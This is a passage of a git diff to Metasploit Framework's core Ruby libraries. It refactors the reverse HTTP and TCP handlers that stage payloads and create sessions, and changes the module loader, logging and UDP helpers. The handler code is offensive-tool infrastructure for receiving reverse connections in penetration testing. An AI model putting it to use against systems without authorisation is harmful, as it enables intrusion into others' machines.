datastore['SSLVersion'] end - # - # Returns the proxy configuration - # - def proxies - datastore['Proxies'] - end - - # - # Returns the TCP connection timeout - # - def connect_timeout - datastore['ConnectTimeout'] - end - # # Returns the SSL certification verification mechanism # diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index a86a7a2b25..b791465dfd 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -19,7 +19,6 @@ module Exploit::Remote::TcpServer [ OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]), # SSLVersion is currently unsupported for TCP servers (only supported by clients at the moment) - # OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), diff --git a/lib/msf/core/exploit/udp.rb b/lib/msf/core/exploit/udp.rb index 2a7eedce31..8b503dc4cd 100644 --- a/lib/msf/core/exploit/udp.rb +++ b/lib/msf/core/exploit/udp.rb @@ -107,17 +107,17 @@ module Exploit::Remote::Udp ## # - # Returns the target host + # Returns the local host for outgoing connections # - def rhost - datastore['RHOST'] + def chost + datastore['CHOST'] end # - # Returns the remote port + # Returns the local port for outgoing connections # - def rport - datastore['RPORT'] + def cport + datastore['CPORT'] end # @@ -135,20 +135,19 @@ module Exploit::Remote::Udp end # - # Returns the local host for outgoing connections + # Returns the target host # - def chost - datastore['CHOST'] + def rhost + datastore['RHOST'] end # - # Returns the local port for outgoing connections + # Returns the remote port # - def cport - datastore['CPORT'] + def rport + datastore['RPORT'] end - protected attr_accessor :udp_sock diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index c8fd5db9cb..b8e797c8ec 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -38,14 +38,6 @@ class Framework Revision = "$Revision$" - # Repository information - RepoRevision = ::Msf::Util::SVN.revision - RepoUpdated = ::Msf::Util::SVN.updated - RepoUpdatedDays = ::Msf::Util::SVN.days_since_update - RepoUpdatedDaysNote = ::Msf::Util::SVN.last_updated_friendly - RepoUpdatedDate = ::Msf::Util::SVN.last_updated_date - RepoRoot = ::Msf::Util::SVN.root - # EICAR canary EICARCorrupted = ::Msf::Util::EXE.is_eicar_corrupted? diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index e3d8b04ef5..d7380d2d2d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -63,24 +63,19 @@ module ReverseHttp ], Msf::Handler::ReverseHttp) end - # Determine where to bind the server - # - # @return [String] - def listener_address - if datastore['ReverseListenerBindAddress'].to_s == '' - bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' + def print_prefix + if Thread.current[:cli] + super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) " else - bindaddr = datastore['ReverseListenerBindAddress'] + super end - - bindaddr end # Return a URI suitable for placing in a payload # # @return [String] A URI of the form +scheme://host:port/+ - def listener_uri - uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address + def listener_uri(addr=datastore['LHOST']) + uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "#{scheme}://#{uri_host}:#{bind_port}/" end @@ -129,20 +124,33 @@ module ReverseHttp # def setup_handler + local_addr = nil local_port = bind_port + ex = false # Start the HTTPS server service on this host/port - self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, - local_port, - listener_address, - ssl?, - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - nil, - (ssl?) ? datastore['HandlerSSLCert'] : nil - ) + bind_addresses.each do |ip| + begin + self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, + local_port, ip, ssl?, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + nil, + (ssl?) ? datastore['HandlerSSLCert'] : nil + ) + local_addr = ip + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{local_port}") + else + ex = false + break + end + end + + raise ex if (ex) self.service.server_name = datastore['MeterpreterServerName'] @@ -156,7 +164,7 @@ module ReverseHttp }, 'VirtualDirectory' => true) - print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") + print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}") lookup_proxy_settings if datastore['IgnoreUnknownPayloads'] @@ -224,6 +232,7 @@ protected # Parses the HTTPS request # def on_request(cli, req, obj) + Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new info = process_uri_resource(req.relative_resource) uuid = info[:uuid] || Msf::Payload::UUID.new @@ -241,7 +250,7 @@ protected # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID: #{request_summary}") + print_status("Ignoring unknown UUID: #{request_summary}") info[:mode] = :unknown_uuid end @@ -249,7 +258,7 @@ protected if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/ allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || [] unless allowed_urls.include?(req.relative_resource) - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID URL: #{request_summary}") + print_status("Ignoring unknown UUID URL: #{request_summary}") info[:mode] = :unknown_uuid_url end end @@ -259,7 +268,7 @@ protected # Process the requested resource. case info[:mode] when :init_connect - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection from #{request_summary}") + print_status("Redirecting stageless connection from #{request_summary}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that @@ -272,7 +281,7 @@ protected resp.body = pkt.to_r when :init_python - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...") + print_status("Staging Python payload ...") url = payload_uri(req) + conn_id + '/' blob = "" @@ -301,7 +310,7 @@ protected }) when :init_java - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...") + print_status("Staging Java payload ...") url = payload_uri(req) + conn_id + "/\x00" blob = obj.generate_stage( @@ -325,38 +334,43 @@ protected }) when :init_native - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...") + print_status("Staging Native payload ...") url = payload_uri(req) + conn_id + "/\x00" uri = URI(payload_uri(req) + conn_id) resp['Content-Type'] = 'application/octet-stream' - # generate the stage, but pass in the existing UUID and connection id so that - # we don't get new ones generated. - blob = obj.stage_payload( - uuid: uuid, - uri: conn_id, - lhost: uri.host, - lport: uri.port - ) + begin + # generate the stage, but pass in the existing UUID and connection id so that + # we don't get new ones generated. + blob = obj.stage_payload( + uuid: uuid, + uri: conn_id, + lhost: uri.host, + lport: uri.port + ) - resp.body = encode_stage(blob) + resp.body = encode_stage(blob) - # Short-circuit the payload's handle_connection processing for create_session - create_session(cli, { - :passive_dispatcher => obj.service, - :conn_id => conn_id, - :url => url, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ssl => ssl?, - :payload_uuid => uuid - }) + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :ssl => ssl?, + :payload_uuid => uuid + }) + rescue NoMethodError + print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.") + return + end when :connect - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...") + print_status("Attaching orphaned/stageless session ...") resp.body = '' conn_id = req.relative_resource @@ -376,7 +390,7 @@ protected else unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{request_summary}") + print_status("Unknown request to #{request_summary}") end resp.code = 200 resp.message = 'OK' diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 0b72a8b249..7ddb081272 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -4,7 +4,6 @@ require 'thread' module Msf module Handler - ### # # This module implements the reverse TCP handler. This means @@ -16,7 +15,6 @@ module Handler # ### module ReverseTcp - include Msf::Handler include Msf::Handler::Reverse include Msf::Handler::Reverse::Comm @@ -26,7 +24,7 @@ module ReverseTcp # 'reverse_tcp'. # def self.handler_type - return "reverse_tcp" + "reverse_tcp" end # @@ -55,7 +53,6 @@ module ReverseTcp self.conn_threads = [] end - # # Closes the listener socket if one was created. # @@ -64,9 +61,13 @@ module ReverseTcp # Kill any remaining handle_connection threads that might # be hanging around - conn_threads.each { |thr| - thr.kill rescue nil - } + conn_threads.each do |thr| + begin + thr.kill + rescue + nil + end + end end # A string suitable for displaying to the user @@ -84,65 +85,68 @@ module ReverseTcp local_port = bind_port - self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue| + handler_name = "ReverseTcpHandlerListener-#{local_port}" + self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| loop do # Accept a client connection begin - client = self.listener_sock.accept - if ! client - wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...") - break + client = listener_sock.accept + if client + self.pending_connections += 1 + lqueue.push(client) end - - self.pending_connections += 1 - lqueue.push(client) - rescue ::Exception - wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") - break + rescue Errno::ENOTCONN + nil + rescue StandardError => e + wlog [ + "#{handler_name}: Exception raised during listener accept: #{e.class}", + "#{$ERROR_INFO}", + "#{$ERROR_POSITION.join("\n")}" + ].join("\n") end end } - self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue| + worker_name = "ReverseTcpHandlerWorker-#{local_port}" + self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| loop do begin client = cqueue.pop - if ! client - elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...") - break + unless client + elog("#{worker_name}: Queue returned an empty result, exiting...") end # Timeout and datastore options need to be passed through to the client opts = { - :datastore => datastore, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i + datastore: datastore, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i } if datastore['ReverseListenerThreaded'] - self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy| + thread_name = "#{worker_name}-#{client.peerhost}" + conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy| handle_connection(wrap_aes_socket(client_copy), opts) - } + end else handle_connection(wrap_aes_socket(client), opts) end - rescue ::Exception - elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") + rescue StandardError + elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") end end } - end def wrap_aes_socket(sock) - if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" + if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == "" return sock end - socks = Rex::Socket::tcp_socket_pair() + socks = Rex::Socket.tcp_socket_pair socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) @@ -150,36 +154,38 @@ module ReverseTcp m.reset key = m.digest(datastore["AESPassword"] || "") - Rex::ThreadFactory.spawn('Session-AESEncrypt', false) { + Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do c1 = OpenSSL::Cipher.new('aes-128-cfb8') c1.encrypt - c1.key=key + c1.key = key sock.put([0].pack('N')) - sock.put(c1.iv=c1.random_iv) + sock.put((c1.iv = c1.random_iv)) buf1 = socks[0].read(4096) - while buf1 and buf1 != "" + while buf1 && buf1 != "" sock.put(c1.update(buf1)) buf1 = socks[0].read(4096) end - sock.close() - } - Rex::ThreadFactory.spawn('Session-AESDecrypt', false) { + sock.close + end + + Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do c2 = OpenSSL::Cipher.new('aes-128-cfb8') c2.decrypt - c2.key=key - iv="" - while iv.length < 16 - iv << sock.read(16-iv.length) - end + c2.key = key + + iv = "" + iv << sock.read(16 - iv.length) while iv.length < 16 + c2.iv = iv buf2 = sock.read(4096) - while buf2 and buf2 != "" + while buf2 && buf2 != "" socks[0].put(c2.update(buf2)) buf2 = sock.read(4096) end - socks[0].close() - } - return socks[1] + socks[0].close + end + + socks[1] end # @@ -187,35 +193,27 @@ module ReverseTcp # def stop_handler # Terminate the listener thread - if (self.listener_thread and self.listener_thread.alive? == true) - self.listener_thread.kill - self.listener_thread = nil - end + listener_thread.kill if listener_thread && listener_thread.alive? == true # Terminate the handler thread - if (self.handler_thread and self.handler_thread.alive? == true) - self.handler_thread.kill - self.handler_thread = nil - end + handler_thread.kill if handler_thread && handler_thread.alive? == true - if (self.listener_sock) + if listener_sock begin - self.listener_sock.close + listener_sock.close rescue IOError # Ignore if it's listening on a dead session dlog("IOError closing listener sock; listening on dead session?", LEV_1) end - self.listener_sock = nil end end -protected + protected attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: attr_accessor :conn_threads # :nodoc: end - end end diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index fda6eebe8c..fe39a459b3 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -266,11 +266,10 @@ class Module end # - # Returns true if this module is being debugged. The debug flag is set - # by setting datastore['DEBUG'] to 1|true|yes + # Returns true if this module is being debugged. # def debugging? - (datastore['DEBUG'] || '') =~ /^(1|t|y)/i + datastore['DEBUG'] end # diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 2879223d2f..64c846058b 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -60,15 +60,15 @@ module Msf::Module::Deprecated # # @return [void] def print_deprecation_warning - print_warning("*"*72) - print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*") + print_warning("*"*90) + print_warning("*%red"+"The module #{refname} is deprecated!".center(88)+"%clr*") if deprecation_date - print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*") + print_warning("*"+"It will be removed on or about #{deprecation_date}".center(88)+"*") end if replacement_module - print_warning("*"+"Use #{replacement_module} instead".center(70)+"*") + print_warning("*"+"Use #{replacement_module} instead".center(88)+"*") end - print_warning("*"*72) + print_warning("*"*90) end def init_ui(input = nil, output = nil) diff --git a/lib/msf/core/module/ui/message.rb b/lib/msf/core/module/ui/message.rb index 7370ded212..c706a35702 100644 --- a/lib/msf/core/module/ui/message.rb +++ b/lib/msf/core/module/ui/message.rb @@ -13,11 +13,10 @@ module Msf::Module::UI::Message end def print_prefix - ret = '' - if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || ( - framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i - ) - prefix = "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] " + prefix = '' + if datastore['TimestampOutput'] || + (framework && framework.datastore['TimestampOutput']) + prefix << "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] " xn ||= datastore['ExploitNumber'] xn ||= framework.datastore['ExploitNumber'] @@ -25,9 +24,8 @@ module Msf::Module::UI::Message prefix << "[%04d] " % xn end - ret = prefix end - ret + prefix end def print_status(msg='') @@ -37,4 +35,4 @@ module Msf::Module::UI::Message def print_warning(msg='') super(print_prefix + msg) end -end \ No newline at end of file +end diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index 1a8d0175b9..a47a7e8f11 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -1,21 +1,21 @@ module Msf::Module::UI::Message::Verbose # Verbose version of #print_error def vprint_error(msg='') - print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end # Verbose version of #print_good def vprint_good(msg='') - print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end # Verbose version of #print_status def vprint_status(msg='') - print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_status(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end # Verbose version of #print_warning def vprint_warning(msg='') - print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_warning(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end end diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index c8ebc14c21..0fe7794797 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -120,6 +120,7 @@ module Msf self.module_info_by_path = {} self.enablement_by_type = {} self.module_load_error_by_path = {} + self.module_load_warnings = {} self.module_paths = [] self.module_set_by_type = {} @@ -146,11 +147,6 @@ module Msf # @param klass [Class] The module class # @return [void] def auto_subscribe_module(klass) - # If auto-subscribe has been disabled - if (framework.datastore['DisableAutoSubscribe'] and - framework.datastore['DisableAutoSubscribe'] =~ /^(y|1|t)/) - return - end # If auto-subscription is enabled (which it is by default), figure out # if it subscribes to any particular interfaces. diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index c5900bd15a..c7bb4a0bb5 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -50,7 +50,7 @@ module Msf::ModuleManager::Loading changed end - attr_accessor :module_load_error_by_path + attr_accessor :module_load_error_by_path, :module_load_warnings # Called when a module is initially loaded such that it can be categorized # accordingly. @@ -122,4 +122,4 @@ module Msf::ModuleManager::Loading count_by_type end -end \ No newline at end of file +end diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 5f4586efd6..3ed5bb8c21 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -3,9 +3,7 @@ # Project # require 'msf/core/modules/loader' -require 'msf/core/modules/namespace' -require 'msf/core/modules/metasploit_class_compatibility_error' -require 'msf/core/modules/version_compatibility_error' +require 'msf/core/modules/error' # Responsible for loading modules for {Msf::ModuleManager}. # @@ -30,9 +28,6 @@ class Msf::Modules::Loader::Base # By calling module_eval from inside the module definition, the lexical scope is captured and available to the code in # module_content. NAMESPACE_MODULE_CONTENT = <<-EOS - # ensure the namespace module can respond to checks during loading - extend Msf::Modules::Namespace - class << self # The loader that originally loaded this module # @@ -103,12 +98,9 @@ class Msf::Modules::Loader::Base # @option options [Boolean] :reload (false) whether this is a reload. # # @return [false] if :force is false and parent_path has not changed. - # @return [false] if exception encountered while parsing module - # content - # @return [false] if the module is incompatible with the Core or API - # version. - # @return [false] if the module does not implement a Metasploit(\d+) - # class. + # @return [false] if exception encountered while parsing module content + # @return [false] if the module is incompatible with the Core or API version. + # @return [false] if the module does not implement a Metasploit class. # @return [false] if the module's is_usable method returns false. # @return [true] if all those condition pass and the module is # successfully loaded. @@ -131,8 +123,6 @@ class Msf::Modules::Loader::Base reload ||= force || file_changed - metasploit_class = nil - module_content = read_module_content(parent_path, type, module_reference_name) if module_content.empty? @@ -140,6 +130,7 @@ class Msf::Modules::Loader::Base return false end + klass = nil try_eval_module = lambda { |namespace_module| # set the parent_path so that the module can be reloaded with #load_module namespace_module.parent_path = parent_path @@ -150,41 +141,24 @@ class Msf::Modules::Loader::Base rescue ::Interrupt raise rescue ::Exception => error - # Hide eval errors when the module version is not compatible - begin - namespace_module.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error - load_error(module_path, version_compatibility_error) - else - load_error(module_path, error) - end - - return false - end - - begin - namespace_module.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error - load_error(module_path, version_compatibility_error) - - return false - end - - begin - metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error load_error(module_path, error) - return false end - unless usable?(metasploit_class) - ilog( - "Skipping module (#{module_reference_name} from #{module_path}) because is_usable returned false.", - 'core', - LEV_1 - ) - + if namespace_module.const_defined?('Metasploit3', false) + klass = namespace_module.const_get('Metasploit3', false) + load_warning(module_path, 'Please change the modules class name from Metasploit3 to MetasploitModule') + elsif namespace_module.const_defined?('Metasploit4', false) + klass = namespace_module.const_get('Metasploit4', false) + load_warning(module_path, 'Please change the modules class name from Metasploit4 to MetasploitModule') + elsif namespace_module.const_defined?('MetasploitModule', false) + klass = namespace_module.const_get('MetasploitModule', false) + else + load_error(module_path, Msf::Modules::Error.new({ + :module_path => module_path, + :module_reference_name => module_reference_name, + :causal_message => 'Invalid module (no MetasploitModule class or module name)' + })) return false end @@ -206,7 +180,7 @@ class Msf::Modules::Loader::Base # Do some processing on the loaded module to get it into the right associations module_manager.on_module_load( - metasploit_class, + klass, type, module_reference_name, { @@ -339,9 +313,9 @@ class Msf::Modules::Loader::Base protected - # Returns a nested module to wrap the Metasploit(1|2|3) class so that it doesn't overwrite other (metasploit) - # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when - # searching constants from inside the Metasploit(1|2|3) class. + # Returns a nested module to wrap the MetasploitModule class so that it doesn't overwrite other (metasploit) + # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when + # searching constants from inside the Metasploit class. # # @param namespace_module_names [Array] # {NAMESPACE_MODULE_NAMES} + @@ -351,7 +325,7 @@ class Msf::Modules::Loader::Base # @see NAMESPACE_MODULE_CONTENT def create_namespace_module(namespace_module_names) # In order to have constants defined in Msf resolve without the Msf qualifier in the module_content, the - # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with + # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with # module_eval(&block). (There's actually code in ruby's implementation to stop module_eval from being added to # Module.nesting when using the block syntax.) All this means is the modules have to be declared as a string that # gets module_eval'd. @@ -432,13 +406,32 @@ class Msf::Modules::Loader::Base log_lines << "#{module_path} failed to load due to the following error:" log_lines << error.class.to_s log_lines << error.to_s - log_lines << "Call stack:" - log_lines += error.backtrace + if error.backtrace + log_lines << "Call stack:" + log_lines += error.backtrace + end log_message = log_lines.join("\n") elog(log_message) end + # Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log. + # + # @param [String] module_path Path to the module as returned by {#module_path}. + # @param [String] Error message that caused the warning. + # @return [void] + # + # @see #module_path + def load_warning(module_path, error) + module_manager.module_load_warnings[module_path] = error.to_s + + log_lines = [] + log_lines << "#{module_path} generated a warning during load:" + log_lines << error.to_s + log_message = log_lines.join("\n") + wlog(log_message) + end + # @return [Msf::ModuleManager] The module manager for which this loader is loading modules. attr_reader :module_manager @@ -455,7 +448,7 @@ class Msf::Modules::Loader::Base raise ::NotImplementedError end - # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it + # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it # actually is a valid module. # # @param [String] path to module without the type directory. @@ -502,8 +495,8 @@ class Msf::Modules::Loader::Base end # Returns an Array of names to make a fully qualified module name to - # wrap the Metasploit(1|2|3) class so that it doesn't overwrite other - # (metasploit) module's classes. Invalid module name characters are + # wrap the MetasploitModule class so that it doesn't overwrite other + # (metasploit) module's classes. Invalid module name characters are # escaped by using 'H*' unpacking and prefixing each code with X so # the code remains a valid module name when it starts with a digit. # @@ -626,28 +619,4 @@ class Msf::Modules::Loader::Base self.class.typed_path(type, module_reference_name) end - # Returns whether the metasploit_class is usable on the current system. Defer's to metasploit_class's #is_usable if - # it is defined. - # - # @param [Msf::Module] metasploit_class As returned by {Msf::Modules::Namespace#metasploit_class} - # @return [false] if metasploit_class.is_usable returns false. - # @return [true] if metasploit_class does not respond to is_usable. - # @return [true] if metasploit_class.is_usable returns true. - def usable?(metasploit_class) - # If the module indicates that it is not usable on this system, then we - # will not try to use it. - usable = false - - if metasploit_class.respond_to? :is_usable - begin - usable = metasploit_class.is_usable - rescue => error - elog("Exception caught during is_usable check: #{error}") - end - else - usable = true - end - - usable - end end diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 46f182e4f6..f311e4b767 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -32,10 +32,6 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base def each_module_reference_name(path, opts={}) whitelist = opts[:whitelist] || [] ::Dir.foreach(path) do |entry| - if entry.downcase == '.svn' - next - end - full_entry_path = ::File.join(path, entry) type = entry.singularize diff --git a/lib/msf/core/modules/metasploit_class_compatibility_error.rb b/lib/msf/core/modules/metasploit_class_compatibility_error.rb deleted file mode 100644 index ae829392cf..0000000000 --- a/lib/msf/core/modules/metasploit_class_compatibility_error.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/error' - -# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant -# with {Msf::Framework::Major} or lower as a number after 'Metasploit', which indicates a compatible Msf::Module. -class Msf::Modules::MetasploitClassCompatibilityError < Msf::Modules::Error - def initialize(attributes={}) - super_attributes = { - :causal_message => 'Missing compatible Metasploit class constant', - }.merge(attributes) - - super(super_attributes) - end -end \ No newline at end of file diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb deleted file mode 100644 index fa65f5fa26..0000000000 --- a/lib/msf/core/modules/namespace.rb +++ /dev/null @@ -1,76 +0,0 @@ -# -*- coding: binary -*- -require 'metasploit/framework/api/version' -require 'metasploit/framework/core/version' - -# Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and -# grabbing the version specific-Metasploit* class. -module Msf::Modules::Namespace - # Returns the Metasploit(3|2|1) class from the module_evalled content. - # - # @note The module content must be module_evalled into this namespace module before the return of - # {#metasploit_class} is valid. - # - # @return [Msf::Module] if a Metasploit(3|2|1) class exists in this module - # @return [nil] if such as class is not defined. - def metasploit_class - metasploit_class = nil - - ::Msf::Framework::Major.downto(1) do |major| - # Since we really only care about the deepest namespace, we don't - # need to look for parents' constants. However, the "inherit" - # parameter for const_defined? only exists after 1.9. If we ever - # drop 1.8 support, we can save a few cycles here by passing false - # here. - if const_defined?("Metasploit#{major}") - metasploit_class = const_get("Metasploit#{major}") - - break - end - end - - metasploit_class - end - - def metasploit_class!(module_path, module_reference_name) - metasploit_class = self.metasploit_class - - unless metasploit_class - raise Msf::Modules::MetasploitClassCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - metasploit_class - end - - # Raises an error unless {Msf::Framework::VersionCore} and {Msf::Framework::VersionAPI} meet the minimum required - # versions defined in RequiredVersions in the module content. - # - # @note The module content must be module_evalled into this namespace module using module_eval_with_lexical_scope - # before calling {#version_compatible!} is valid. - # - # @param [String] module_path Path from where the module was read. - # @param [String] module_reference_name The canonical name for the module. - # @raise [Msf::Modules::VersionCompatibilityError] if RequiredVersion[0] > Msf::Framework::VersionCore or - # RequiredVersion[1] > Msf::Framework::VersionApi - # @return [void] - def version_compatible!(module_path, module_reference_name) - if const_defined?(:RequiredVersions) - required_versions = const_get(:RequiredVersions) - minimum_core_version = Gem::Version.new(required_versions[0].to_s) - minimum_api_version = Gem::Version.new(required_versions[1].to_s) - - if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION || - minimum_api_version > Metasploit::Framework::API::GEM_VERSION) - raise Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end - end - end -end - diff --git a/lib/msf/core/modules/version_compatibility_error.rb b/lib/msf/core/modules/version_compatibility_error.rb deleted file mode 100644 index fb52be3fc8..0000000000 --- a/lib/msf/core/modules/version_compatibility_error.rb +++ /dev/null @@ -1,52 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/error' - -# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module} -# if the API or Core version does not meet the minimum requirements defined in the RequiredVersions constant in the -# {Msf::Modules::Loader::Base#read_module_content module content}. -class Msf::Modules::VersionCompatibilityError < Msf::Modules::Error - # @param [Hash{Symbol => Float}] attributes - # @option attributes [Float] :minimum_api_version The minimum 